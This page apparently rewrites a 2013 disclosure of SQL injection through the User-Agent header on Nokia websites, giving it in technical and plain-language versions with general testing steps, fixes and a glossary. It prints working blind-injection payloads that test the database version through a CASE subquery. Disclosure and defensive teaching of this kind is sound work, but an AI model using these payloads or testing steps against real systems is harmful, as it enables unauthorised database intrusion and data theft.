Skip to content
SQL injection Write-up Intermediate

SQLI in Nokia Sites

Several Nokia websites inserted the HTTP User-Agent header directly into SQL INSERT statements, so a crafted User-Agent could inject SQL. An attacker could use this to run arbitrary queries against the backend database, including reading the database version.

Josip Franjkovic Follow

Published on josipfranjkovic.blogspot.com

The original lives on josipfranjkovic.blogspot.com

We do not hold its text, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

The write-up covers SQL injection in Nokia sites, published on 30 July 2013. It is split into three short parts: an injection in www4.nokia.de, a second injection whose host is redacted in the text, and an injection in a Nokia.es subdomain.

The first section shows an INSERT statement that places the user agent string into a table:

SQL
INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')

Because the value is wrapped in quotes, a user agent containing a single quote breaks out of the string literal. The report then shows a multi-row INSERT and a payload:

SQL
INSERT INTO table(a,b,c)VALUES(1,2,3),(4,5,6);
SQL
',1,1),(1,2,3,4,5)-- -

The closing quote, the extra tuple and the comment sequence let the injected text add a new row to the statement. The report also lists these statements:

SQL
INSERT INTO a(b)VALUES(1 and 3=23);
SQL
SELECT a,(select b from table) from table;
SQL
SELECT 1 UNION SELECT 2;

The report shows two User-Agent header lines: The first tests the first character of the database version against 5:

HTTP
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))-- -

The second repeats the same test against 4:

HTTP
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-- -

The CASE expression returns one value when the condition holds and another when it does not, testing the first character of the version string. The report does not show the responses, so it does not record which branch was observed.

The second section is titled only SQL injection in ***********; the host is masked and no payload is given.

The third section, Nokia.es subdomain SQL injection, contains five screenshots and no accompanying text.

From the original on josipfranjkovic.blogspot.com

The report ends with a Conclusion: heading and nothing under it. It gives no bounty amount, no severity rating and no fix information.

Root cause

The quoted $user_agent inside VALUES(...) suggests the header is placed into the statement as text. The header is attacker-controlled on every request, so any endpoint that logs it into a database is a candidate. The report's own framing, a quoted $user_agent inside VALUES(...), points at exactly that pattern.

Impact

The report demonstrates that the injected value changes the structure of the SQL statement and that a boolean condition on version() can be evaluated through it. The report does not show extracted data, so the practical extent of what was reachable is not documented here.

How this kind of bug works

SQL injection happens when untrusted input is placed into a query as text rather than as a bound parameter. The parser cannot tell data from syntax, so a quote in the input closes the string literal and whatever follows is parsed as SQL. In an INSERT, the attacker can terminate the value list, add tuples, or append a subquery whose result influences whether the statement succeeds. Boolean-based blind injection turns that into a channel: a condition is wrapped in CASE or AND, and the difference between a true and a false branch shows up as a different response, status code, timing or stored row. Error-based and union-based variants are faster when output is reflected, but blind techniques work when nothing is echoed back.

The defences that stop it are prepared statements with bound parameters, so the input never becomes part of the query text; strict allow-listing of what may be stored (for example truncating and validating the user agent); least-privilege database accounts so a logging table cannot read arbitrary data; and disabling detailed database errors in responses.

How to test for it

  1. Identify every place where request metadata is persisted: user agent, referrer, X-Forwarded-For, custom headers, cookies, path segments, query parameters. Logging and analytics endpoints are the usual suspects.
  2. Send a benign request and note the baseline response: status, length, timing, and any visible change on a page that lists recent activity.
  3. Send a single quote in the candidate field and compare. A database error, a 500, or a changed page is a signal, not proof.
  4. If the field is quoted, try closing it and adding a boolean condition that is always true, then one that is always false, keeping the rest of the syntax valid. Compare the two responses.
  5. If the difference is consistent, confirm with a condition on a known value, such as the first character of the version string, and check that flipping the expected character flips the response.
  6. Where output is reflected, try a union with a matching column count to read a constant.

A positive result is a reproducible, repeatable difference between the true and false branches, ideally with a control request that changes nothing else. Common false positives are generic error pages triggered by any unusual character, WAF blocks that look like application errors, caching or rate limiting that changes responses between requests, and differences caused by the payload length rather than its SQL meaning. Always re-send the baseline to rule those out.

How it is fixed

Use parameterised queries for every statement that includes request data, including logging inserts. Validate and cap the length of headers before storage. Run the application with a database account that can only write to the tables it needs. Return generic errors to clients and log details server-side. Add regression tests that send quote characters and boolean conditions through the same paths.

Hunting notes

Injection into stored request metadata hides in places that are easy to overlook: analytics pipelines, audit logs, admin dashboards that display recent user agents, and batch jobs that later read those rows. Recon signals include endpoints that accept unusual headers, applications that echo request metadata back in a panel, and stacks where logging is bolted on separately from the main query layer. To make a report land, show the baseline, the true branch and the false branch as three reproducible requests, state exactly what differs, and keep the proof to the minimum needed to demonstrate the condition. Avoid extracting real user data; a version string or a constant is usually enough.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 6 min read.

What happened, in plain words

This write-up, published on 30 July 2013, describes SQL injection in Nokia websites. SQL injection is a way of sneaking database instructions into a website through an input the site trusts. Think of a database as a filing clerk who only understands written instructions: if you can slip extra words into an instruction the site hands over, the clerk will follow them too.

The report has three short parts: an injection in www4.nokia.de, a second injection whose host is masked in the text, and an injection in a Nokia.es subdomain.

Part 1: www4.nokia.de

The report first shows the statement the site uses. The site takes the browser's User-Agent string (a short line of text every browser sends to identify itself) and stores it in a database table with a statement like this:

SQL
INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')

INSERT means "add a new row". The user agent is placed inside single quotes, so the database treats it as plain text. If the user agent itself contains a single quote, that quote closes the text early and anything after it is read as SQL code. The report then shows a multi-row insert and a payload:

SQL
INSERT INTO table(a,b,c)VALUES(1,2,3),(4,5,6);
SQL
',1,1),(1,2,3,4,5)-- -

The report also lists these statements:

SQL
INSERT INTO a(b)VALUES(1 and 3=23);
SQL
SELECT a,(select b from table) from table;
SQL
SELECT 1 UNION SELECT 2;

The report shows two User-Agent header lines: The first tests whether the first character of the database version is 5:

HTTP
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))-- -

The second repeats the same test against 4:

HTTP
User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-- -

The CASE expression returns one value when the condition is true and another when it is false, testing the first character of the database version. The report does not show the responses, so it does not record which branch was observed.

Part 2: masked host

The second section is titled only SQL injection in ***********. The host is hidden and no payload is given.

Part 3: Nokia.es subdomain

The third section, Nokia.es subdomain SQL injection, contains five screenshots and no accompanying text.

From the original on josipfranjkovic.blogspot.com

The report ends with a Conclusion: heading and nothing under it. It gives no bounty amount, no severity rating and no fix information.

In general, how this kind of bug works

SQL injection happens when untrusted input is placed into a query as text rather than as a bound parameter. The database parser cannot tell data from syntax, so a quote in the input closes the string literal and whatever follows is parsed as SQL. In an INSERT, an attacker can end the value list, add tuples, or append a subquery whose result influences whether the statement succeeds. Boolean-based blind injection turns that into a channel: a condition is wrapped in CASE or AND, and the difference between a true and a false branch shows up as a different response, status code, timing or stored row. Error-based and union-based variants are faster when output is reflected, but blind techniques work when nothing is echoed back.

The defences that stop it are prepared statements with bound parameters, so the input never becomes part of the query text; strict allow-listing of what may be stored (for example truncating and validating the user agent); least-privilege database accounts so a logging table cannot read arbitrary data; and disabling detailed database errors in responses.

How to test for it

  1. Identify every place where request metadata is persisted: user agent, referrer, X-Forwarded-For, custom headers, cookies, path segments, query parameters. Logging and analytics endpoints are the usual suspects.
  2. Send a benign request and note the baseline response: status, length, timing, and any visible change on a page that lists recent activity.
  3. Send a single quote in the candidate field and compare. A database error, a 500, or a changed page is a signal, not proof.
  4. If the field is quoted, try closing it and adding a boolean condition that is always true, then one that is always false, keeping the rest of the syntax valid. Compare the two responses.
  5. If the difference is consistent, confirm with a condition on a known value, such as the first character of the version string, and check that flipping the expected character flips the response.
  6. Where output is reflected, try a union with a matching column count to read a constant.

A positive result is a reproducible, repeatable difference between the true and false branches, ideally with a control request that changes nothing else. Common false positives are generic error pages triggered by any unusual character, WAF blocks that look like application errors, caching or rate limiting that changes responses between requests, and differences caused by the payload length rather than its SQL meaning. Always re-send the baseline to rule those out.

How it is fixed

Use parameterised queries for every statement that includes request data, including logging inserts. Validate and cap the length of headers before storage. Run the application with a database account that can only write to the tables it needs. Return generic errors to clients and log details server-side. Add regression tests that send quote characters and boolean conditions through the same paths.

Hunting notes

Injection into stored request metadata hides in places that are easy to overlook: analytics pipelines, audit logs, admin dashboards that display recent user agents, and batch jobs that later read those rows. Recon signals include endpoints that accept unusual headers, applications that echo request metadata back in a panel, and stacks where logging is bolted on separately from the main query layer. To make a report land, show the baseline, the true branch and the false branch as three reproducible requests, state exactly what differs, and keep the proof to the minimum needed to demonstrate the condition. Avoid extracting real user data; a version string or a constant is usually enough.

Glossary

  • SQL injection: a vulnerability where untrusted input is interpreted as part of a database query.
  • Database: an organised store of data that applications read and write through queries.
  • Query: an instruction sent to a database, written in a language such as SQL.
  • SQL: the language used to talk to relational databases.
  • INSERT: a SQL statement that adds a new row to a table.
  • Row: one record in a database table.
  • Tuple: a group of values in parentheses, used in SQL to represent one row.
  • String literal: text enclosed in quotes inside a query.
  • User-Agent: a header every browser sends to identify itself to a website.
  • Header: a line of metadata sent with an HTTP request or response.
  • Request: the message a browser sends to a server asking for a page or resource.
  • Response: the message a server sends back to a browser.
  • Subquery: a query nested inside another query.
  • UNION: a SQL operator that combines the results of two queries.
  • Boolean oracle: a test where a true or false condition produces two distinguishable behaviours.
  • CASE: a SQL expression that returns one value when a condition holds and another when it does not.
  • Blind injection: injection where results are not shown directly and must be inferred from behaviour.
  • Parameterised query: a query where input is passed as a bound value, never as query text.
  • Least privilege: giving an account only the permissions it actually needs.
  • WAF: a web application firewall that filters suspicious requests.
  • False positive: a signal that looks like a vulnerability but is not one.

More by Josip Franjkovic

View all

6 more disclosed reports, best first.

More from Nokia

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.